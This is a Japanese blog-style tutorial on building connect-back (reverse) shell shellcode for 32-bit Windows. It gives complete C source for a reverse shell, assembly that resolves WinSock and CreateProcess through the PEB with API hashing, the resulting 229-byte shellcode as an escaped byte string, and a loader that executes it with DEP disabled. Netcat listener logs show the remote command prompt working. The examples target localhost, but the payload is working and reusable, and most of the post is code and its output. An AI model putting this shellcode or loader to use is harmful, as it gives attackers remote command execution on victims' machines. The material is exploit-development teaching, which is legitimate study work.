「Windowsで電卓を起動するシェルコードを書いてみる」ではPEBからライブラリ関数のアドレスを特定し、WinExec関数を使って電卓を起動するシェルコードを書いた。 ここでは、プログラムがWinsockを利用していることを前提に、connect-back shellを起動するシェルコードを書いてみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4
>systeminfo OS 名: Microsoft Windows 8.1 Pro OS バージョン: 6.3.9600 N/A ビルド 9600 OS ビルドの種類: Multiprocessor Free システムの種類: x64-based PC プロセッサ: 1 プロセッサインストール済みです。 [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz >cl Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 >ml Microsoft (R) Macro Assembler Version 12.00.31101.0 >dumpbin Microsoft (R) COFF/PE Dumper Version 12.00.31101.0
C言語で書いてみる
C言語でconnect-back shellを起動するプログラムを書くと次のようになる。
/* connectback.c */ #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #pragma comment(lib, "ws2_32.lib") int main() { WSADATA wsaData; SOCKET s; SOCKADDR_IN name; STARTUPINFO s_info = {0}; PROCESS_INFORMATION p_info; WSAStartup(MAKEWORD(2, 2), &wsaData); s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); name.sin_family = AF_INET; name.sin_addr.s_addr = inet_addr("127.0.0.1"); name.sin_port = htons(4444); connect(s, (SOCKADDR *)&name, sizeof(name)); s_info.cb = sizeof(s_info); s_info.hStdInput = (HANDLE)s; s_info.hStdOutput = (HANDLE)s; s_info.hStdError = (HANDLE)s; s_info.dwFlags = STARTF_USESTDHANDLES; CreateProcess(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, &s_info, &p_info); ExitProcess(0); }
connectなどWinsockの各種関数はws2_32.dllにて実装されているため、上のコードではまずws2_32.libとリンクするようにpragmaコメントを指定している。 コードの内容を簡単にまとめると次のようになる。
- WSAStartup関数でWinsockの初期化を行う
- WSASocket関数でTCPソケットを生成する
- connect関数でlocalhostの4444番ポートに接続する
- CreateProcess関数でソケットを標準入出力としたコマンドプロンプトを起動する
CreateProcess関数は次のような引数を取る関数である。
BOOL WINAPI CreateProcess( _In_opt_ LPCTSTR lpApplicationName, _Inout_opt_ LPTSTR lpCommandLine, _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ BOOL bInheritHandles, _In_ DWORD dwCreationFlags, _In_opt_ LPVOID lpEnvironment, _In_opt_ LPCTSTR lpCurrentDirectory, _In_ LPSTARTUPINFO lpStartupInfo, _Out_ LPPROCESS_INFORMATION lpProcessInformation );
ソケットを標準入出力にする上では、bInheritHandles
にTRUEを指定した上でlpStartupInfo
に適切な値を格納したLPSTARTUPINFO構造体を指定する必要がある。
具体的には、構造体のdwFlags
メンバでSTARTF_USESTDHANDLES
フラグを立てた上で、hStdInput
、hStdOutput
、hStdError
メンバのそれぞれにハンドルとしてソケットを指定する。
また、起動されるプロセスの情報が格納される領域としてPROCESS_INFORMATION構造体の領域を確保し、lpProcessInformation
にそのポインタを指定する必要がある。
localhostのTCP 4444番ポートで接続を待ち受けておいた上で、コードをコンパイルして実行してみる。
>cl connectback.c Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 Copyright (C) Microsoft Corporation. All rights reserved. connectback.c Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:connectback.exe connectback.obj >connectback.exe
>powershell -executionpolicy remotesigned -c ".\nc -v -l 4444" 詳細: Listening on [0.0.0.0] (family 0, port 4444) 詳細: Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 60684) Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. >whoami whoami vm-windows8\user >exit exit
接続が行われ、リモートからコマンドプロンプトが操作できることが確認できる。
シェルコードを書いてみる
「Windowsで電卓を起動するシェルコードを書いてみる」で利用したhashcalc.exeおよびapi_callルーチンを用いて、シェルコードを書くと次のようになる。
; connectback.asm .386 .model flat, stdcall .code start: cld jmp main api_call: assume fs:nothing pushad xor eax, eax mov eax, fs:[eax+30h] ; PEB mov eax, [eax+0ch] ; Ldr mov esi, [eax+14h] ; InMemoryOrderModuleList next_mod: lodsd ; next _LDR_DATA_TABLE_ENTRY mov [esp+1ch], eax ; store eax mov ebp, [eax+10h] ; DllBase mov eax, [ebp+3ch] ; IMAGE_DOS_HEADER.e_lfanew mov edx, [ebp+eax+78h] ; IMAGE_EXPORT_DIRECTORY add edx, ebp mov ecx, [edx+18h] ; NumberOfNames mov ebx, [edx+20h] ; AddressOfNames add ebx, ebp next_name: ; while (--NumberOfNames) jecxz name_not_found dec ecx mov esi, [ebx+ecx*4] ; ptr = AddressOfNames[NumberOfNames] add esi, ebp xor edi, edi ; hash = 0 xor eax, eax compute_hash_loop: ; while ((c = *(ptr++)) != 0) lodsb test al, al jz compare_hash ror edi, 0dh ; hash += ror(c, 0x0d) add edi, eax jmp compute_hash_loop compare_hash: cmp edi, [esp+24h] ; 1st argument (hash value) jnz next_name mov ebx, [edx+24h] ; AddressOfNameOrdinals add ebx, ebp mov cx, [ebx+ecx*2] ; y = AddressOfNameOrdinals[x] mov ebx, [edx+1ch] ; AddressOfFunctions add ebx, ebp mov eax, [ebx+ecx*4] ; AddressOfFunctions[y] add eax, ebp mov [esp+1ch], eax ; store eax popad pop ecx pop edx push ecx jmp eax ; jump to api function name_not_found: mov esi, [esp+1ch] ; update eax jmp next_mod main: xor ebx, ebx push ebx push ebx push ebx push ebx push 1 push 2 push 0adf509d9h ; WSASocketA call api_call xchg esi, eax push 1010107fh ; 127.1.1.1 pushw 5c11h ; 4444 pushw 2 mov edi, esp push 10h push edi push esi push 60aaf9ech ; connect call api_call push 44h ; STARTUPINFO pop ecx sub esp, ecx mov edi, esp push edi xor eax, eax rep stosb pop edi mov byte ptr [edi], 44h inc byte ptr [edi+2dh] push edi xchg esi, eax lea edi, [edi+38h] stosd stosd stosd pop edi lea esi, [edi+44h] ; PROCESS_INFORMATION mov eax, 646d6301h ; "cmd" sar eax, 8 push eax mov eax, esp push esi push edi push ebx push ebx push ebx push 1 push ebx push ebx push eax push ebx push 16b3fe72h ; CreateProcessA call api_call push ebx push 73e2d87eh ; ExitProcess call api_call end start
上のコードでは、あらかじめws2_32.dllのロードおよびWSAStartup関数の実行がすでに行われていることを前提に、これらを行う処理を省略している。 また、NUL文字除去のため接続先アドレスとして127.0.0.1の代わりに127.1.1.1を指定している。 loopbackアドレスの場合はこれで十分であるが、それ以外のIPアドレスについてNUL文字が含まれる場合xorなど何らかの対応を行う必要がある。
コードをアセンブルしてみる。
>ml connectback.asm /link /subsystem:console Microsoft (R) Macro Assembler Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. Assembling: connectback.asm Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /OUT:connectback.exe connectback.obj /subsystem:console
ディスアセンブルして対応するバイト列を表示し、これをC文字列に変換してみる。
>dumpbin /rawdata connectback.exe Microsoft (R) COFF/PE Dumper Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file connectback.exe File Type: EXECUTABLE IMAGE RAW DATA #1 00401000: FC EB 67 60 33 C0 64 8B 40 30 8B 40 0C 8B 70 14 üëg`3Àd.@0.@..p. 00401010: AD 89 44 24 1C 8B 68 10 8B 45 3C 8B 54 28 78 03 .D$..h..E<.T(x. 00401020: D5 8B 4A 18 8B 5A 20 03 DD E3 39 49 8B 34 8B 03 Õ.J..Z .Ýã9I.4.. 00401030: F5 33 FF 33 C0 AC 84 C0 74 07 C1 CF 0D 03 F8 EB õ3ÿ3À¬.Àt.ÁÏ..øë 00401040: F4 3B 7C 24 24 75 E2 8B 5A 24 03 DD 66 8B 0C 4B ô;|$$uâ.Z$.Ýf..K 00401050: 8B 5A 1C 03 DD 8B 04 8B 03 C5 89 44 24 1C 61 59 .Z..Ý....Å.D$.aY 00401060: 5A 51 FF E0 8B 74 24 1C EB A6 33 DB 53 53 53 53 ZQÿà.t$.ë¦3ÛSSSS 00401070: 6A 01 6A 02 68 D9 09 F5 AD E8 85 FF FF FF 96 68 j.j.hÙ.õè.ÿÿÿ.h 00401080: 7F 10 10 10 66 68 11 5C 66 6A 02 8B FC 6A 10 57 ....fh.\fj..üj.W 00401090: 56 68 EC F9 AA 60 E8 68 FF FF FF 6A 44 59 2B E1 Vhìùª`èhÿÿÿjDY+á 004010A0: 8B FC 57 33 C0 F3 AA 5F C6 07 44 FE 47 2D 57 96 .üW3Àóª_Æ.DþG-W. 004010B0: 8D 7F 38 AB AB AB 5F 8D 77 44 B8 01 63 6D 64 C1 ..8«««_.wD¸.cmdÁ 004010C0: F8 08 50 8B C4 56 57 53 53 53 6A 01 53 53 50 53 ø.P.ÄVWSSSj.SSPS 004010D0: 68 72 FE B3 16 E8 29 FF FF FF 53 68 7E D8 E2 73 hrþ³.è)ÿÿÿSh~Øâs 004010E0: E8 1E FF FF FF è.ÿÿÿ Summary 1000 .text >dumpbin /rawdata connectback.exe | powershell -ex remotesigned -f getsc.ps1 \xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x53\x53\x53\x6A\x01\x6A\x02\x68\xD9\x09\xF5\xAD\xE8\x85\xFF\xFF\xFF\x96\x68\x7F\x10\x10\x10\x66\x68\x11\x5C\x66\x6A\x02\x8B\xFC\x6A\x10\x57\x56\x68\xEC\xF9\xAA\x60\xE8\x68\xFF\xFF\xFF\x6A\x44\x59\x2B\xE1\x8B\xFC\x57\x33\xC0\xF3\xAA\x5F\xC6\x07\x44\xFE\x47\x2D\x57\x96\x8D\x7F\x38\xAB\xAB\xAB\x5F\x8D\x77\x44\xB8\x01\x63\x6D\x64\xC1\xF8\x08\x50\x8B\xC4\x56\x57\x53\x53\x53\x6A\x01\x53\x53\x50\x53\x68\x72\xFE\xB3\x16\xE8\x29\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x1E\xFF\xFF\xFF
シェルコードを実行してみる
WSAStartup関数を実行した上で、上のバイト列にジャンプするC言語コードを書いてみると次のようになる。
/* loader.c */ #include <stdio.h> #include <string.h> #include <winsock2.h> #pragma comment(lib, "ws2_32") int main() { WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); char code[] = "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x53\x53\x53\x6A\x01\x6A\x02\x68\xD9\x09\xF5\xAD\xE8\x85\xFF\xFF\xFF\x96\x68\x7F\x10\x10\x10\x66\x68\x11\x5C\x66\x6A\x02\x8B\xFC\x6A\x10\x57\x56\x68\xEC\xF9\xAA\x60\xE8\x68\xFF\xFF\xFF\x6A\x44\x59\x2B\xE1\x8B\xFC\x57\x33\xC0\xF3\xAA\x5F\xC6\x07\x44\xFE\x47\x2D\x57\x96\x8D\x7F\x38\xAB\xAB\xAB\x5F\x8D\x77\x44\xB8\x01\x63\x6D\x64\xC1\xF8\x08\x50\x8B\xC4\x56\x57\x53\x53\x53\x6A\x01\x53\x53\x50\x53\x68\x72\xFE\xB3\x16\xE8\x29\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x1E\xFF\xFF\xFF"; printf("strlen(code) = %d\n", strlen(code)); (*(void (*)())code)(); return 0; }
localhostのTCP 4444番ポートで接続を待ち受けておいた上で、DEP無効でコンパイルして実行してみる。
>cl loader.c /link /nxcompat:no Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 Copyright (C) Microsoft Corporation. All rights reserved. loader.c Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:loader.exe /nxcompat:no loader.obj >loader.exe strlen(code) = 229
>powershell -executionpolicy remotesigned -c ".\nc -v -l 4444" 詳細: Listening on [0.0.0.0] (family 0, port 4444) 詳細: Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 53174) Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. >whoami whoami vm-windows8\user >exit exit
シェルコードの実行により接続が行われ、リモートからコマンドプロンプトが操作できることが確認できた。 このシェルコードの長さは229バイトである。